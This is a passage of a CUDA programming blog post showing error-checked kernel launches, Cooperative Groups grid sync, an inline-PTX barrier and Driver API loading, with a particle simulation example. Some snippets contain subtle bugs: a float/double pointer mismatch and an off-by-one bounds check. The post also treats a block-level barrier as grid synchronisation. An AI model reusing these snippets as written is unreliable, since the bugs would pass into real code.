fprintf(stderr, \u0026#34;Kernel execution failed: %s\\n\u0026#34;, cudaGetErrorString(err)); cudaStreamDestroy(stream); return -1; } err = cudaStreamDestroy(stream); if (err != cudaSuccess) { fprintf(stderr, \u0026#34;Failed to destroy stream: %s\\n\u0026#34;, cudaGetErrorString(err)); return -1; } return 0; } Compile and run it:\n1 2 $ nvcc -o hello_world hello_world.cu \u0026amp;\u0026amp; ./hello_world \u0026gt; Failed to launch kernel: invalid argument This error is expected because the kernel can\u0026rsquo;t even be submitted due to an absurd memory request. However, the issue with this API is that we need a different way of passing arguments to the kernel. Here is how we would pass arrays and scalars to the kernel:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 #include \u0026lt;cuda_runtime.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; __global__ void kernel(float *amount, size_t count, int power) { size_t idx = blockIdx.x * blockDim.x + threadIdx.x; if (idx \u0026gt; count) return; amount[idx] = amount[idx] * scalbln(1.0, power); // An example of a CUDA intrinsic ;) } int main() { cudaError_t err; size_t num_elements = 1024; int integral_power = -2; double *data; // Allocate unified memory err = cudaMallocManaged(\u0026amp;data, num_elements * sizeof(double)); if (err != cudaSuccess) { fprintf(stderr, \u0026#34;cudaMallocManaged failed: %s\\n\u0026#34;, cudaGetErrorString(err)); return -1; } // Initialize data for (size_t i = 0; i \u0026lt; num_elements; ++i) data[i] = (double)i; // Create CUDA stream cudaStream_t stream; err = cudaStreamCreate(\u0026amp;stream); if (err != cudaSuccess) { fprintf(stderr, \u0026#34;Failed to create stream: %s\\n\u0026#34;, cudaGetErrorString(err)); cudaFree(data); return -1; } // Define kernel launch parameters dim3 grid((num_elements + 255) / 256); dim3 block(256); void *kernel_args[] = { (void *)\u0026amp;data, (void *)\u0026amp;num_elements, (void *)\u0026amp;integral_power, }; // Launch kernel err = cudaLaunchKernel((void *)kernel, grid, block, kernel_args, 0, stream); if (err != cudaSuccess) { fprintf(stderr, \u0026#34;Failed to launch kernel: %s\\n\u0026#34;, cudaGetErrorString(err)); cudaStreamDestroy(stream); cudaFree(data); return -1; } // Synchronize stream err = cudaStreamSynchronize(stream); if (err != cudaSuccess) { fprintf(stderr, \u0026#34;Kernel execution failed: %s\\n\u0026#34;, cudaGetErrorString(err)); cudaStreamDestroy(stream); cudaFree(data); return -1; } // Print results for (size_t i = 0; i \u0026lt; 5; ++i) printf(\u0026#34;data[%zu] = %f\\n\u0026#34;, i, data[i]); cudaStreamDestroy(stream); cudaFree(data); return 0; } I used unified memory to make the example simpler. We don\u0026rsquo;t have to explicitly allocate 2 buffers on the CPU and GPU and copy data between them. The driver maintains copies of the data in the host and device memory and automatically transfers updates between them when needed.\nCooperative Groups It\u0026rsquo;s long been a dream that we could write parallel GPU algorithms once — stack a few abstractions, wrap them in templates, and let the runtime figure things out. In practice, that rarely works out. Unfortunately, the CUDA Cooperative Groups API is no exception.\nIt was designed as a unified abstraction for coordinating threads beyond a single block — using C++ intrinsics to schedule complex GPU algorithms with more flexible synchronization semantics. In theory, this should solve a significant problem: letting all threads on the device synchronize before progressing, which is essential for iterative algorithms like physics simulations or solvers.\nAs a reminder:\n__syncwarp() for a warp of 32 threads. __syncthreads() for a logical block of 1-1024 threads. For everything else, there\u0026rsquo;s Mastercard Cooperative Groups. The most obvious example would be synchronizing the whole grid in multi-step iterative algorithms, like Physics simulations. For that, Nvidia recommends using the new cooperative_groups::sync() function:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 #include \u0026lt;cuda_runtime.h\u0026gt; #include \u0026lt;cooperative_groups.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;math.h\u0026gt; namespace cg = cooperative_groups; __device__ float3 compute_force(float3 position_first, float3 position_second) { float3 r; r.x = position_second.x - position_first.x; r.y = position_second.y - position_first.y; r.z = position_second.z - position_first.z; float squared_distance = r.x * r.x + r.y * r.y + r.z * r.z + 1e-6f; // avoid div by zero float reciprocal_distance = rsqrtf(squared_distance); float reciprocal_cube = reciprocal_distance * reciprocal_distance * reciprocal_distance; constexpr float gravitational_constant = 1.0f; float scale = gravitational_constant * reciprocal_cube; r.x *= scale; r.y *= scale; r.z *= scale; return r; } __global__ void cooperative_kernel( float3 *positions_old, float3 *positions_new, float3 *velocities_old, float3 *velocities_new, size_t count, size_t iterations, float dt) { cg::grid_group grid = cg::this_grid(); size_t idx = blockIdx.x * blockDim.x + threadIdx.x; if (idx \u0026gt;= count) return; for (size_t iter = 0; iter \u0026lt; iterations; ++iter) { float3 force = {0.0f, 0.0f, 0.0f}; // Accumulate forces from all other particles for (size_t j = 0; j \u0026lt; count; ++j) { if (j == idx) continue; float3 f = compute_force(positions_old[idx], positions_old[j]); force.x += f.x; force.y += f.y; force.z += f.z; } // Update velocity and position velocities_new[idx].x = velocities_old[idx].x + force.x * dt; velocities_new[idx].y = velocities_old[idx].y + force.y * dt; velocities_new[idx].z = velocities_old[idx].z + force.z * dt; positions_new[idx].x = positions_old[idx].x + velocities_new[idx].x * dt; positions_new[idx].y = positions_old[idx].y + velocities_new[idx].y * dt; positions_new[idx].z = positions_old[idx].z + velocities_new[idx].z * dt; // Swap buffers for the next iteration grid.sync(); float3 *temp_pos = positions_old, *temp_vel = velocities_old; positions_old = positions_new, positions_new = temp_pos; velocities_old = velocities_new, velocities_new = temp_vel; grid.sync(); } } int main() { cudaError_t err; size_t num_particles = 256; size_t iterations = 10; float dt = 0.01f; dim3 block; dim3 grid; void *kernel_args[7]; float3 *positions_old = nullptr, *positions_new = nullptr; float3 *velocities_old = nullptr, *velocities_new = nullptr; // Allocate memory err = cudaMallocManaged(\u0026amp;positions_old, num_particles * sizeof(float3)); if (err != cudaSuccess) goto cleanup; err = cudaMallocManaged(\u0026amp;positions_new, num_particles * sizeof(float3)); if (err != cudaSuccess) goto cleanup; err = cudaMallocManaged(\u0026amp;velocities_old, num_particles * sizeof(float3)); if (err != cudaSuccess) goto cleanup; err = cudaMallocManaged(\u0026amp;velocities_new, num_particles * sizeof(float3)); if (err != cudaSuccess) goto cleanup; // Initialize positions and velocities for (size_t i = 0; i \u0026lt; num_particles; ++i) { float theta = (float)i * 0.01f; float phi = (float)i * 0.005f; float radius = 10.0f + (i % 32) * 0.1f; positions_old[i] = {radius * cosf(theta) * sinf(phi), radius * sinf(theta) * sinf(phi), radius * cosf(phi)}; velocities_old[i] = {0.01f * sinf(phi), 0.01f * cosf(theta), 0.01f * sinf(theta + phi)}; } // Make sure the device supports cooperative launch cudaDeviceProp props; cudaGetDeviceProperties(\u0026amp;props, 0); if (!props.cooperativeLaunch) { fprintf(stderr, \u0026#34;Cooperative launch not supported on this device.\\n\u0026#34;); err = cudaErrorNotSupported; goto cleanup; } cudaStream_t stream; err = cudaStreamCreate(\u0026amp;stream); if (err != cudaSuccess) { fprintf(stderr, \u0026#34;Failed to create stream: %s\\n\u0026#34;, cudaGetErrorString(err)); goto cleanup; } block = dim3(256); grid = dim3((num_particles + block.x - 1) / block.x); kernel_args[0] = \u0026amp;positions_old; kernel_args[1] = \u0026amp;positions_new; kernel_args[2] = \u0026amp;velocities_old; kernel_args[3] = \u0026amp;velocities_new; kernel_args[4] = \u0026amp;num_particles; kernel_args[5] = \u0026amp;iterations; kernel_args[6] = \u0026amp;dt; // Launch the kernel err = cudaLaunchCooperativeKernel((void *)cooperative_kernel, grid, block, kernel_args, 0, stream); if (err != cudaSuccess) { fprintf(stderr, \u0026#34;Failed to launch cooperative kernel: %s\\n\u0026#34;, cudaGetErrorString(err)); goto cleanup; } err = cudaStreamSynchronize(stream); if (err != cudaSuccess) { fprintf(stderr, \u0026#34;Kernel execution failed: %s\\n\u0026#34;, cudaGetErrorString(err)); goto cleanup; } // Print final positions for (size_t i = 0; i \u0026lt; num_particles; ++i) printf(\u0026#34;Final position[%zu] = (%f, %f, %f)\\n\u0026#34;, i, positions_old[i].x, positions_old[i].y, positions_old[i].z); cleanup: if (positions_old) cudaFree(positions_old); if (positions_new) cudaFree(positions_new); if (velocities_old) cudaFree(velocities_old); if (velocities_new) cudaFree(velocities_new); return (err == cudaSuccess) ? 0 : -1; } Notice how I\u0026rsquo;ve replaced cudaLaunchKernel with cudaLaunchCooperativeKernel and added a cg::grid_group object to the kernel. If we were to use the old non-cooperative cudaLaunchKernel launch API, we would get:\n1 2 $ nvcc -o hello_world hello_world.cu \u0026amp;\u0026amp; ./hello_world \u0026gt; Kernel execution failed: unspecified launch failure So, we need to use the new \u0026ldquo;cooperative\u0026rdquo; API, which initially looked promising. With faster GPU-GPU interconnects and in-node NVLink switches, I hoped we\u0026rsquo;d see more robust synchronization primitives for multi-GPU systems. For a moment, that future felt near: the CUDA runtime introduced cudaLaunchCooperativeKernelMultiDevice and the cg::multi_grid_group abstraction — the missing pieces for coordinating kernels across multiple GPUs. However, both were deprecated in CUDA 11.3, making them some of the shortest-lived APIs in CUDA history.\nWhile Cooperative Groups are attractive in concept, I don\u0026rsquo;t see them scaling up meaningfully. Most of my work happens at a warp level with __syncwarp(), and if I need to go higher, I generally prefer to write inline PTX assembly. We can quite easily check what the cooperative_groups::sync() function compiles to by using the -ptx flag with NVCC:\n1 2 $ nvcc -arch=sm_80 -ptx -o hello_world.ptx hello_world.cu $ grep -A 1 \u0026#34;barrier.sync\u0026#34; hello_world.ptx This shows us what we already suspected: under the hood, it\u0026rsquo;s just a barrier.sync instruction. So, if you\u0026rsquo;re comfortable with inline PTX, you can recreate the same behavior without the \u0026lt;cooperative_groups.h\u0026gt; header. And if you\u0026rsquo;re writing performance-critical code, it\u0026rsquo;s not just cleaner — it\u0026rsquo;s more transparent and debuggable.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 #include \u0026lt;cuda_runtime.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;math.h\u0026gt; __device__ inline void grid_sync_ptx() { asm volatile(\u0026#34;barrier.sync 0;\u0026#34; ::); } __device__ float3 compute_force(float3 position_first, float3 position_second) { float3 r; r.x = position_second.x - position_first.x; r.y = position_second.y - position_first.y; r.z = position_second.z - position_first.z; float squared_distance = r.x * r.x + r.y * r.y + r.z * r.z + 1e-6f; // avoid div by zero float reciprocal_distance = rsqrtf(squared_distance); float reciprocal_cube = reciprocal_distance * reciprocal_distance * reciprocal_distance; constexpr float gravitational_constant = 1.0f; float scale = gravitational_constant * reciprocal_cube; r.x *= scale; r.y *= scale; r.z *= scale; return r; } __global__ void cooperative_kernel(float3 *positions_old, float3 *positions_new, float3 *velocities_old, float3 *velocities_new, size_t count, size_t iterations, float dt) { size_t idx = blockIdx.x * blockDim.x + threadIdx.x; if (idx \u0026gt;= count) return; for (size_t iter = 0; iter \u0026lt; iterations; ++iter) { float3 force = {0.0f, 0.0f, 0.0f}; // Accumulate forces from all other particles for (size_t j = 0; j \u0026lt; count; ++j) { if (j == idx) continue; float3 f = compute_force(positions_old[idx], positions_old[j]); force.x += f.x; force.y += f.y; force.z += f.z; } // Update velocity and position velocities_new[idx].x = velocities_old[idx].x + force.x * dt; velocities_new[idx].y = velocities_old[idx].y + force.y * dt; velocities_new[idx].z = velocities_old[idx].z + force.z * dt; positions_new[idx].x = positions_old[idx].x + velocities_new[idx].x * dt; positions_new[idx].y = positions_old[idx].y + velocities_new[idx].y * dt; positions_new[idx].z = positions_old[idx].z + velocities_new[idx].z * dt; grid_sync_ptx(); // Swap buffers for the next iteration float3 *temp_pos = positions_old, *temp_vel = velocities_old; positions_old = positions_new, positions_new = temp_pos; velocities_old = velocities_new, velocities_new = temp_vel; grid_sync_ptx(); } } int main() { cudaError_t err; size_t num_particles = 256; size_t iterations = 10; float dt = 0.01f; float3 *positions_old = nullptr, *positions_new = nullptr; float3 *velocities_old = nullptr, *velocities_new = nullptr; dim3 block; dim3 grid; void *kernel_args[7]; // Allocate memory err = cudaMallocManaged(\u0026amp;positions_old, num_particles * sizeof(float3)); if (err != cudaSuccess) goto cleanup; err = cudaMallocManaged(\u0026amp;positions_new, num_particles * sizeof(float3)); if (err != cudaSuccess) goto cleanup; err = cudaMallocManaged(\u0026amp;velocities_old, num_particles * sizeof(float3)); if (err != cudaSuccess) goto cleanup; err = cudaMallocManaged(\u0026amp;velocities_new, num_particles * sizeof(float3)); if (err != cudaSuccess) goto cleanup; for (size_t i = 0; i \u0026lt; num_particles; ++i) { float theta = (float)i * 0.01f; float phi = (float)i * 0.005f; float radius = 10.0f + (i % 32) * 0.1f; positions_old[i] = {radius * cosf(theta) * sinf(phi), radius * sinf(theta) * sinf(phi), radius * cosf(phi)}; velocities_old[i] = {0.01f * sinf(phi), 0.01f * cosf(theta), 0.01f * sinf(theta + phi)}; } cudaDeviceProp props; cudaGetDeviceProperties(\u0026amp;props, 0); if (!props.cooperativeLaunch) { fprintf(stderr, \u0026#34;Cooperative launch not supported on this device.\\n\u0026#34;); err = cudaErrorNotSupported; goto cleanup; } cudaStream_t stream; err = cudaStreamCreate(\u0026amp;stream); if (err != cudaSuccess) { fprintf(stderr, \u0026#34;Failed to create stream: %s\\n\u0026#34;, cudaGetErrorString(err)); goto cleanup; } block = dim3(256); grid = dim3((num_particles + block.x - 1) / block.x); kernel_args[0] = \u0026amp;positions_old; kernel_args[1] = \u0026amp;positions_new; kernel_args[2] = \u0026amp;velocities_old; kernel_args[3] = \u0026amp;velocities_new; kernel_args[4] = \u0026amp;num_particles; kernel_args[5] = \u0026amp;iterations; kernel_args[6] = \u0026amp;dt; err = cudaLaunchKernel((void *)cooperative_kernel, grid, block, kernel_args, 0, stream); if (err != cudaSuccess) { fprintf(stderr, \u0026#34;Failed to launch cooperative kernel: %s\\n\u0026#34;, cudaGetErrorString(err)); goto cleanup; } err = cudaStreamSynchronize(stream); if (err != cudaSuccess) { fprintf(stderr, \u0026#34;Kernel execution failed: %s\\n\u0026#34;, cudaGetErrorString(err)); goto cleanup; } for (size_t i = 0; i \u0026lt; num_particles; ++i) printf(\u0026#34;Final position[%zu] = (%f, %f, %f)\\n\u0026#34;, i, positions_old[i].x, positions_old[i].y, positions_old[i].z); cleanup: if (positions_old) cudaFree(positions_old); if (positions_new) cudaFree(positions_new); if (velocities_old) cudaFree(velocities_old); if (velocities_new) cudaFree(velocities_new); return (err == cudaSuccess) ? 0 : -1; } And yes, I\u0026rsquo;ve launched it with the old-school cudaLaunchKernel rather than the cudaLaunchCooperativeKernel while no-one was watching. No runtime complaints — as long as your device supports barrier.sync. PTX has a whole menu of other barriers if you\u0026rsquo;re feeling adventurous.\nCUDA Driver API Lastly, insufficient attention is paid to the lower-level CUDA Driver API — which can be extremely useful in production. Sure, it\u0026rsquo;s a bit more verbose, but it gives you complete control over kernel loading and launching, including support for dynamically loading PTX, CUBINs, or SASS at runtime. Going the extra mile, I recommend separating the kernel code from the host code entirely, using separate compilers for each, and introducing a stable ABI between them. Here is what our vanilla C99 host code may look like:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 #include \u0026lt;cuda.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;math.h\u0026gt; #define CUDA_CHECK(err) \\ if (err != CUDA_SUCCESS) { \\ const char *msg; \\ cuGetErrorString(err, \u0026amp;msg); \\ fprintf(stderr, \u0026#34;CUDA error: %s\\n\u0026#34;, msg); \\ goto cleanup; \\ } int main() { CUresult err; size_t num_particles = 256; size_t iterations = 10; float dt = 0.01f; CUdevice device; CUcontext context = NULL; CUmodule module = NULL; CUfunction kernel; CUstream stream = NULL; float *positions_old = NULL, *positions_new = NULL; float *velocities_old = NULL, *velocities_new = NULL; void *kernel_args[7]; // Initialize CUDA err = cuInit(0); CUDA_CHECK(err); err = cuDeviceGet(\u0026amp;device, 0); CUDA_CHECK(err); err = cuCtxCreate(\u0026amp;context, 0, device); CUDA_CHECK(err); err = cuStreamCreate(\u0026amp;stream, CU_STREAM_DEFAULT); CUDA_CHECK(err); // Load the \u0026#34;bytecode\u0026#34; PTX, that will later be JIT-compiled to SASS err = cuModuleLoad(\u0026amp;module, \u0026#34;hello_world.ptx\u0026#34;); CUDA_CHECK(err); err = cuModuleGetFunction(\u0026amp;kernel, module, \u0026#34;cooperative_kernel\u0026#34;); CUDA_CHECK(err); // Allocate managed memory for positions and velocities size_t buffer_size = num_particles * sizeof(float) * 3; err = cuMemAllocManaged((CUdeviceptr *)\u0026amp;positions_old, buffer_size, CU_MEM_ATTACH_GLOBAL); CUDA_CHECK(err); err = cuMemAllocManaged((CUdeviceptr *)\u0026amp;positions_new, buffer_size, CU_MEM_ATTACH_GLOBAL); CUDA_CHECK(err); err = cuMemAllocManaged((CUdeviceptr *)\u0026amp;velocities_old, buffer_size, CU_MEM_ATTACH_GLOBAL); CUDA_CHECK(err); err = cuMemAllocManaged((CUdeviceptr *)\u0026amp;velocities_new, buffer_size, CU_MEM_ATTACH_GLOBAL); CUDA_CHECK(err); // Initialize positions and velocities for (size_t i = 0; i \u0026lt; num_particles; ++i) { float theta = (float)i * 0.01f; float phi = (float)i * 0.005f; float radius = 10.0f + (i % 32) * 0.1f; positions_old[3 * i + 0] = radius * cosf(theta) * sinf(phi); positions_old[3 * i + 1] = radius * sinf(theta) * sinf(phi); positions_old[3 * i + 2] = radius * cosf(phi); velocities_old[3 * i + 0] = 0.01f * sinf(phi); velocities_old[3 * i + 1] = 0.01f * cosf(theta); velocities_old[3 * i + 2] = 0.01f * sinf(theta + phi); } kernel_args[0] = \u0026amp;positions_old; kernel_args[1] = \u0026amp;positions_new; kernel_args[2] = \u0026amp;velocities_old; kernel_args[3] = \u0026amp;velocities_new; kernel_args[4] = \u0026amp;num_particles; kernel_args[5] = \u0026amp;iterations; kernel_args[6] = \u0026amp;dt; // Launch the kernel int threads_per_block = 256; int blocks_per_grid = (num_particles + threads_per_block - 1) / threads_per_block; err = cuLaunchKernel(kernel, blocks_per_grid, 1, 1, threads_per_block, 1, 1, 0, stream, kernel_args, NULL); CUDA_CHECK(err); err = cuStreamSynchronize(stream); CUDA_CHECK(err); // Log the final positions for (size_t i = 0; i \u0026lt; num_particles; ++i) printf(\u0026#34;Final position[%zu] = (%f, %f, %f)\\n\u0026#34;, i, positions_old[3 * i + 0], positions_old[3 * i + 1], positions_old[3 * i + 2]); cleanup: if (stream) cuStreamDestroy(stream); if (positions_old) cuMemFree((CUdeviceptr)positions_old); if (positions_new) cuMemFree((CUdeviceptr)positions_new); if (velocities_old) cuMemFree((CUdeviceptr)velocities_old); if (velocities_new) cuMemFree((CUdeviceptr)velocities_new); if (module) cuModuleUnload(module); if (context) cuCtxDestroy(context); return (err == CUDA_SUCCESS) ? 0 : -1; } The only thing you need to watch out for is name mangling. To make this work, ensure the kernel declaration in your .cu file is wrapped with extern \u0026quot;C\u0026quot;:\n1 extern \u0026#34;C\u0026#34; __global__ void cooperative_kernel(...); With that in place, you can compile the GPU side to PTX using NVCC and the host side using GCC — entirely independently:\n1 2 3 4 5 $ nvcc -arch=sm_80 -ptx -o hello_world.ptx hello_world.cu $ gcc -o hello_world hello_world.c \\ -I/usr/local/cuda/include \\ -L/usr/local/cuda/lib64 \\ -lcuda -lm \u0026amp;\u0026amp; ./hello_world Conclusion This is, of course, much more verbose than the original \u0026lt;\u0026lt;\u0026lt;1, 1\u0026gt;\u0026gt;\u0026gt; example — but doing things right usually is. That said, plenty of tools have popped up in recent years to simplify prototyping CUDA code, including the many DSLs and compilers NVIDIA just showcased at the last GTC. But the way we ship and launch production kernels has remained remarkably stable for over a decade — almost identical to what you\u0026rsquo;d do with OpenCL or CUDA circa 2010:\nDon\u0026rsquo;t judge too harshly on slide 35. Memory ordering and control flow on one slide was probably a bad idea — and part of the motivation for writing this post.\nWhat has changed is the complexity inside the kernels - they\u0026rsquo;re now less data-parallel and more like concurrent CPU algorithms — with atomics, warp-level reductions, and specialized Tensor Core logic baked in. Those look and feel different on every generation of GPUs and porting my other libraries to Blackwell has made that painfully clear. So expect a few more posts soon 😉\n","permalink":"https://ashvardanian.com/posts/less-wrong-cuda-hello-world/","summary":"\u003cp\u003eYou\u0026rsquo;ve probably seen a CUDA tutorial like this one — a classic \u0026ldquo;Hello World\u0026rdquo; blending CPU and GPU code in a single \u0026ldquo;heterogeneous\u0026rdquo; CUDA C++ source file, with the kernel launched using NVCC\u0026rsquo;s now-iconic triple-bracket \u003ccode\u003e\u0026lt;\u0026lt;\u0026lt;\u0026gt;\u0026gt;\u0026gt;\u003c/code\u003e syntax:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\" id=\"hl-0-1\"\u003e\u003ca class=\"lnlinks\" href=\"#hl-0-1\"\u003e 1\u003c/a\u003e\n\u003c/span\u003e\u003cspan class=\"lnt\" id=\"hl-0-2\"\u003e\u003ca class=\"lnlinks\" href=\"#hl-0-2\"\u003e 2\u003c/a\u003e\n\u003c/span\u003e\u003cspan class=\"lnt\" id=\"hl-0-3\"\u003e\u003ca class=\"lnlinks\" href=\"#hl-0-3\"\u003e 3\u003c/a\u003e\n\u003c/span\u003e\u003cspan class=\"lnt\" id=\"hl-0-4\"\u003e\u003ca class=\"lnlinks\" href=\"#hl-0-4\"\u003e 4\u003c/a\u003e\n\u003c/span\u003e\u003cspan class=\"lnt\" id=\"hl-0-5\"\u003e\u003ca class=\"lnlinks\" href=\"#hl-0-5\"\u003e 5\u003c/a\u003e\n\u003c/span\u003e\u003cspan class=\"lnt\" id=\"hl-0-6\"\u003e\u003ca class=\"lnlinks\" href=\"#hl-0-6\"\u003e 6\u003c/a\u003e\n\u003c/span\u003e\u003cspan class=\"lnt\" id=\"hl-0-7\"\u003e\u003ca class=\"lnlinks\" href=\"#hl-0-7\"\u003e 7\u003c/a\u003e\n\u003c/span\u003e\u003cspan class=\"lnt\" id=\"hl-0-8\"\u003e\u003ca class=\"lnlinks\" href=\"#hl-0-8\"\u003e 8\u003c/a\u003e\n\u003c/span\u003e\u003cspan class=\"lnt\" id=\"hl-0-9\"\u003e\u003ca class=\"lnlinks\" href=\"#hl-0-9\"\u003e 9\u003c/a\u003e\n\u003c/span\u003e\u003cspan class=\"lnt\" id=\"hl-0-10\"\u003e\u003ca class=\"lnlinks\" href=\"#hl-0-10\"\u003e10\u003c/a\u003e\n\u003c/span\u003e\u003cspan class=\"lnt\" id=\"hl-0-11\"\u003e\u003ca class=\"lnlinks\" href=\"#hl-0-11\"\u003e11\u003c/a\u003e\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;cuda_runtime.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003e__global__\u003c/span\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003ekernel\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello World from block %d, thread %d\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eblockIdx\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ethreadIdx\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003ekernel\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Returns `void`?! 🤬    \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ecudaDeviceSynchronize\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003ecudaSuccess\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eI still see this exact pattern in production code — and I\u0026rsquo;ll admit, it shows up in some of my own toy projects too - \u003ca href=\"https://github.com/ashvardanian/ParallelReductionsBenchmark\"\u003eone\u003c/a\u003e, \u003ca href=\"https://github.com/ashvardanian/cuda-python-starter-kit\"\u003etwo\u003c/a\u003e, and \u003ca href=\"https://github.com/ashvardanian/scaling-democracy\"\u003ethree\u003c/a\u003e.\nBut relying on triple-bracket kernel launches in production isn\u0026rsquo;t ideal.\nThey don\u0026rsquo;t return error codes, and they encourage a false sense of simplicity.\nSo in the next ~25 KBytes of text, we\u0026rsquo;ll explore the \u003cem\u003eless wrong\u003c/em\u003e ways to launch kernels.\u003c/p\u003e","title":"CUDA Hello World: Done Less 